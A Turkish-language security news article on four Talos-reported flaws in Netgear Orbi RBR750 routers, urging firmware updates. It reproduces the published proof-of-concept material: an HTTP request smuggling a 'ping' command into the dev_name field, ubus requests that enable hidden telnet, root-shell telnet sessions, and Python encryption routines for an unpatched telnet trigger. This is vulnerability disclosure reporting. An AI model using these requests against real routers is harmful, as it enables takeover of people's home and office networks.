Netgear Orbi yönlendiricinize yama uygulanmadıysa, bu yönlendiriciyi hemen değiştirmek isteyeceksiniz.

 Tehdit, en kısa sürede manuel kontrol yapılmasını gerektirecek kadar ciddi.

Bir Orbi 750 serisi yönlendirici

İnternete bağlanmak için Netgear'ın Orbi ağ kablosuz sistemine güveniyorsanız, eski sürümlerdeki kritik güvenlik açıkları için yararlanma kodu yayınlandığına göre, sistemin en son üretici yazılımını çalıştırdığından emin olmak isteyeceksiniz.

Netgear Orbi ağ kablosuz sistemi, bir ana merkez yönlendirici ve ağın menzilini genişleten bir veya daha fazla uydu yönlendirici içerir. Bir evde veya ofiste birden fazla erişim noktası kurarak, Wi-Fi kapsamının her yerde mevcut olmasını sağlayan bir ağ sistemi oluştururlar.

Uzaktan rasgele komutlar enjekte etme

Geçen yıl, Cisco'nun Talos güvenlik ekibindeki araştırmacılar dört güvenlik açığı keşfetti ve bunları özel olarak Netgear'a bildirdi. CVE-2022-37337 olarak izlenen güvenlik açıklarının en ciddisi, RBR750'nin erişim denetimi işlevinde bulunuyor. Bilgisayar korsanları, cihaza özel hazırlanmış HTTP istekleri göndererek komutları uzaktan yürütmek için bundan yararlanabilir. Bilgisayar korsanının önce SSID şifresini bilerek veya korumasız bir SSID'ye erişerek cihaza bağlanması gerekir. Kusurun ciddiyeti, olası 10 üzerinden 9,1 olarak derecelendirilir.

Ocak ayında Netgear, güvenlik açığını gideren üretici yazılımı güncellemeleri yayınladı. Şimdi Talos, teknik ayrıntılarla birlikte bir kavram kanıtı istismar kodu yayınladı.

Talos araştırmacıları, "Orbi RBR750'nin erişim kontrol işlevi, bir kullanıcının, ağa erişmeye çalışırken belirtilen cihaza izin vermek veya bu cihazı engellemek için açıkça cihazlar (MAC adresi ve bir ana bilgisayar adı ile belirtilen) eklemesine izin verir" diye yazdı. "Ancak dev_name parametresi, komut eklemeye karşı savunmasızdır."

Yayınlanan istismar kodu:

POST /access_control_add.cgi?id=e7bbf8edbf4393c063a616d78bd04dfac332ca652029be9095c4b5b77f6203c1 HTTP/1.1
Host: 10.0.0.1
Content-Length: 104
Authorization: Basic YWRtaW46UGFzc3cwcmQ=
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: yummy_magical_cookie=/; XSRF_TOKEN=2516336866
Connection: close

action=Apply&mac_addr=aabbccddeeaa&dev_name=test;ping${IFS}10.0.0.4&access_control_add_type=blocked_list

 Cihaz aşağıdakilerle yanıt verecektir:

   root@RBR750:/tmp# ps | grep ping
   21763 root  	1336 S	ping 10.0.0.4

Talos'un keşfettiği diğer iki güvenlik açığı da Ocak ayında yamalar aldı. CVE-2022-36429 ayrıca, özel hazırlanmış bir JSON nesnesi oluşturan bir dizi kötü amaçlı paket gönderilerek yararlanılabilen bir uzaktan komut yürütme hatasıdır. Ciddiyet derecesi 7.2'dir.

İstismar, belgesiz bir telnet oturumu başlatmak için gereken bir kimlik doğrulama çerezini döndürmek için "admin" kullanıcı adına sahip parolanın SHA256 toplamını kullanarak başlar:

POST /ubus HTTP/1.1
Host: 10.0.0.4
Content-Length: 217
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content-Type: application/json
Origin: http://10.0.0.4
Referer: http://10.0.0.4/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"method":"call","params":["00000000000000000000000000000000","session","login",{"username":"admin","password":"","timeout":900}],"jsonrpc":"2.0","id":3}

Gizli telnet hizmetini başlatmak için gereken "ubus_rpc_session" belirteci daha sonra görünecektir:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 829
Connection: close
Date: Mon, 11 Jul 2022 19:27:03 GMT
Server: lighttpd/1.4.45

{"jsonrpc":"2.0","id":3,"result":[0,{"ubus_rpc_session":"e6c28cc8358cb9182daa29e01782df67","timeout":900,"expires":899,"acls":{"access-group":{"netgear":["read","write"],"unauthenticated":["read"]},"ubus":{"netgear.get":["pot_details","satellite_status","connected_device","get_language"],"netgear.log":["ntgrlog_status","log_boot_status","telnet_status","packet_capture_status","firmware_version","hop_count","cpu_load","ntgrlog_start","ntgrlog_stop","log_boot_enable","log_boot_disable","telnet_enable","telnet_disable","packet_capture_start","packet_capture_stop"],"netgear.set":["set_language"],"netgear.upgrade":["upgrade_status","upgrade_version","upgrade_start"],"session":["access","destroy","get","login"],"system":["info"],"uci":["*"]},"webui-io":{"download":["read"],"upload":["write"]}},"data":{"username":"admin"}}]}

Düşman daha sonra telnet hizmetini başlatmak için "telnet_enable" adlı bir parametre ekler:

POST /ubus HTTP/1.1
Host: 10.0.0.4
Content-Length: 138
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content-Type: application/json
Origin: http://10.0.0.4
Referer: http://10.0.0.4/status.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"method":"call","params":["e6c28cc8358cb9182daa29e01782df67","netgear.log","telnet_enable","log_boot_enable",{}],"jsonrpc":"2.0","id":13}

"admin" kullanıcı adıyla SHA256 karmasını oluşturmak için kullanılan aynı parola, bir saldırganın hizmette oturum açmasına izin verir:

$ telnet 10.0.0.4
Trying 10.0.0.4...
Connected to 10.0.0.4.
Escape character is '^]'.

login: admin
Password: === IMPORTANT ============================
 Use 'passwd' to set your login password
 this will disable telnet and enable SSH
------------------------------------------


BusyBox v1.30.1 () built-in shell (ash)

 	MM       	NM                	MMMMMMM      	M   	M
   $MMMMM    	MMMMM            	MMMMMMMMMMM  	MMM 	MMM
  MMMMMMMM 	MM MMMMM.          	MMMMM:MMMMMM:   MMMM   MMMMM
MMMM= MMMMMM  MMM   MMMM   	MMMMM   MMMM  MMMMMM   MMMM  MMMMM'
MMMM=  MMMMM MMMM	MM   	MMMMM	MMMM	MMMM   MMMMNMMMMM
MMMM=   MMMM  MMMMM      	MMMMM 	MMMM	MMMM   MMMMMMMM
MMMM=   MMMM   MMMMMM   	MMMMM  	MMMM	MMMM   MMMMMMMMM
MMMM=   MMMM 	MMMMM,	NMMMMMMMM   MMMM	MMMM   MMMMMMMMMMM
MMMM=   MMMM  	MMMMMM   MMMMMMMM	MMMM	MMMM   MMMM  MMMMMM
MMMM=   MMMM   MM	MMMM	MMMM  	MMMM	MMMM   MMMM	MMMM
MMMM$ ,MMMMM  MMMMM  MMMM	MMM   	MMMM   MMMMM   MMMM	MMMM
  MMMMMMM:  	MMMMMMM 	M     	MMMMMMMMMMMM  MMMMMMM MMMMMMM
	MMMMMM   	MMMMN 	M       	MMMMMMMMM  	MMMM	MMMM
 	MMMM      	M                	MMMMMMM    	M   	M
   	M
 ---------------------------------------------------------------
   For those about to rock... (Chaos Calmer, rtm-4.6.8.5+r49254)
 ---------------------------------------------------------------
root@RBS750:/#


Diğer yamalı güvenlik açığı, önem derecesi 6,5 olan CVE-2022-38458'dir. Kullanıcılardan şifrelenmemiş bir HTTP bağlantısı üzerinden bir şifre girmelerini isteyen cihazdan kaynaklanır. Aynı ağdaki bir düşman daha sonra parolayı koklayabilir.

Ölmeyi reddeden güvenlik açığı

Talos'un keşfettiği ve CVE-2022-38452 olarak izlenen dördüncü bir güvenlik açığı henüz yamalanmamıştır. Talos, güvenlik açığı bilgilerini satıcıya özel olarak bildirildikten sonraki 90 gün içinde açıklama politikasına uygun olarak, bununla ilgili ayrıntıları yine de yayınladı. Kusur, gizli telnet işlevinden kaynaklanır ve rakiplerin komutları uzaktan yürütmesine izin verir.

Netgear geliştiricileri daha önce, telnet hizmetini açmak veya kapatmak için kullanılabilecek gizli bir hata ayıklama sayfasındaki bir geçiş anahtarını kaldıran bir güncelleme sunmuştu. Düzeltme maalesef eksikti.

Talos, "GUI'deki anahtar artık çalışmasa da/kaldırılmış olsa da, UDP bağlantı noktası 23'e (https://github.com/bkerler/netgear_telnet) özel hazırlanmış bir tetikleyici paket gönderilerek hizmetin etkinleştirilmesi hâlâ mümkündü" dedi. "Son güncellemeler bu aracı (ve onun gibi birçok aracı) bozmuş gibi görünse de, hizmet hâlâ var ve hâlâ tetiklenebilir durumda."

def crypt_64bit_up(self, x, y):
	sbox = self.flattened_sBox
	pArray = self.flattened_pArray
	for i in range(0, 0x10):
    	z = pArray[i] ^ x
    	x = sbox[0x012 - 0x12 + ((z>>24)&0xff)];
    	x = sbox[0x112 - 0x12 + ((z>>16)&0xff)] + x;
    	x = sbox[0x212 - 0x12 + ((z>> 8)&0xff)] ^ x;
    	x = (sbox[0x312 - 0x12+ ((z>> 0)&0xff)] + x) & 0xFFFFFFFF;
    	x = y ^ x
    	y = z
	x = x ^ pArray[-2]
	y = y ^ pArray[-1]
	return (x, y)

def crypt_64bit_down(self, x, y):
	sbox = self.flattened_sBox
	pArray = self.flattened_pArray
	for i in range(0x11, 1, -1):
    	z = pArray[i] ^ x
    	x = sbox[0x012 - 0x12 + ((z>>24)&0xff)];
    	x = sbox[0x112 - 0x12 + ((z>>16)&0xff)] + x;
    	x = sbox[0x212 - 0x12 + ((z>> 8)&0xff)] ^ x;
    	x = (sbox[0x312 - 0x12+ ((z>> 0)&0xff)] + x) & 0xFFFFFFFF;
    	x = y ^ x
    	y = z
	x = x ^ pArray[1]
	y = y ^ pArray[0]
	return (x, y)
Güvenlik açığı bulunan cihazın br-lan arayüzünün kullanıcı adı, şifresi ve MAC adresine sahip olan bir saldırgan telnet'i başlatmak için devam edebilir:

$ ./enable_telnet_poc.py
Plaintext payload:
00000000: 43 38 39 45 34 33 34 44  45 38 37 38 00 00 00 00  C89E434DE878....
00000010: 61 64 6D 69 6E 00 00 00  00 00 00 00 00 00 00 00  admin...........
00000020: 50 61 73 73 77 30 72 64  00 00 00 00 00 00 00 00  Passw0rd........
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
Encrypted payload:
00000000: D0 9C 30 F6 7D 98 82 EE  8F 14 65 9F B9 03 3C 8D  ..0.}.....e...<.
00000010: D0 56 6C C4 13 EB 29 43  84 4B BB F5 B1 B0 C5 32  .Vl...)C.K.....2
00000020: 63 CF 65 A2 BA 4F 87 8F  7C 82 89 28 32 95 7C 64  c.e..O..|..(2.|d
00000030: 53 20 20 62 E2 F9 4B 3D  7C 82 89 28 32 95 7C 64  S  b..K=|..(2.|d
00000040: 7C 82 89 28 32 95 7C 64  7C 82 89 28 32 95 7C 64  |..(2.|d|..(2.|d
00000050: 7C 82 89 28 32 95 7C 64  7C 82 89 28 32 95 7C 64  |..(2.|d|..(2.|d
00000060: 7C 82 89 28 32 95 7C 64  7C 82 89 28 32 95 7C 64  |..(2.|d|..(2.|d
00000070: 7C 82 89 28 32 95 7C 64  7C 82 89 28 32 95 7C 64  |..(2.|d|..(2.|d

$ telnet 10.0.0.1
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
 === LOGIN ===============================
  Please enter your account and password,
  It's the same with DUT GUI
 ------------------------------------------
telnet account: admin
telnet password:

BusyBox v1.30.1 () built-in shell (ash)

  .oooooo.         	.o8    	o8o       	.o.   	ooooooo  ooooo
 d8P'  `Y8b       	"888    	`"'      	.888.   	`8888	d8'
888  	888 oooo d8b  888oooo.  oooo     	.8"888.    	Y888..8P
888  	888 `888""8P  d88' `88b `888    	.8' `888.    	`8888'
888  	888  888  	888   888  888   	.88ooo8888.  	.8PY888.
`88b	d88'  888  	888   888  888  	.8' 	`888.	d8'  `888b
 `Y8bood8P'  d888b 	`Y8bod8P' o888o	o88o 	o8888o o888o  o88888o

 ---------------------------------------------------------------
   For those about to rock... (Chaos Calmer, 10.0.3440.3644)
 ---------------------------------------------------------------
root@RBR750:/#

Daha önce belirtildiği gibi, dört güvenlik açığından üçü Ocak ayında yamalandı. Orbi Yönlendirici Modeli RBR750 kullanım kılavuzu, kullanıcıların orbilogin.com adresine gidip yönetici kimlik bilgilerini girerek ve GELİŞMİŞ > Yönetim > Ürün Yazılımı Güncelleme > Çevrimiçi Güncelleme'yi seçerek mevcut güncellemeleri kontrol edip yükleyebileceklerini söylüyor.

CVE-2022-38452 henüz yamalıyken, diğer üç kusur düzeltildi. Bu cihazların kullanıcıları, şu anda en son sürüm olan ürün yazılımı sürümünü 4.6.14.3 çalıştırdıklarından emin olmalıdır.
Daha yeni Daha eski